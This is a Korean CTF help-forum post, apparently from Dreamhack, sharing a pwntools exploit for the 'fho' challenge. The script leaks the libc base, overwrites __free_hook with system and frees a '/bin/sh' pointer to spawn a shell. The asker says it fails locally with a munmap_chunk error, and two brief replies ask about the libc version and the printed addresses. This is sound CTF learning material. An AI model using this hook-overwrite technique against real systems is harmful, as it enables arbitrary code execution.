local 에서는 도저히 풀수 없어서 질문드립니다

from pwn import *

p = process("./fho")
#p = remote("host3.dreamhack.games", 8441)
e = ELF("./fho")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF("./libc-2.27.so")

def slog(name, addr): return success(": ".join([name, hex(addr)]))

[1] Leak libc base

buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1]+b"\x00"*2)

#------
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 231)
#libc_base = libc_start_main_xx - 0x021bf7
#0x021b97
#------

system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search(b"/bin/sh"))

slog("libc_base", libc_base)
slog("system", system)
slog("free_hook", free_hook)
slog("/bin/sh", binsh)

[2] Overwrite free_hook with system

p.recvuntil(b"To write: ")
p.sendline(str(free_hook))
p.recvuntil(b"With: ")
p.sendline(str(system))

[3] Exploit

p.recvuntil(b"To free: ")
p.sendline(str(binsh))

p.interactive()
다음과 같이 풀려고 했으나 마지막에 munmap_chunk 라는 error 가 발생해서 풀리지가 않습니다. 어디를 수정해야 될까요?

#pwnable
Author
Answers 2

libc 버전 6에서 하는 중인데 hook 여부 확인이 가능한가요?

2023.05.23. 12:58
avatar
wyv3rn
무플 방지 위원회장

일단 출력되는 각 주소들이 정상적인가요?

2023.05.23. 13:48
Do you know the answer?
Share and earn points!
Answer and earn points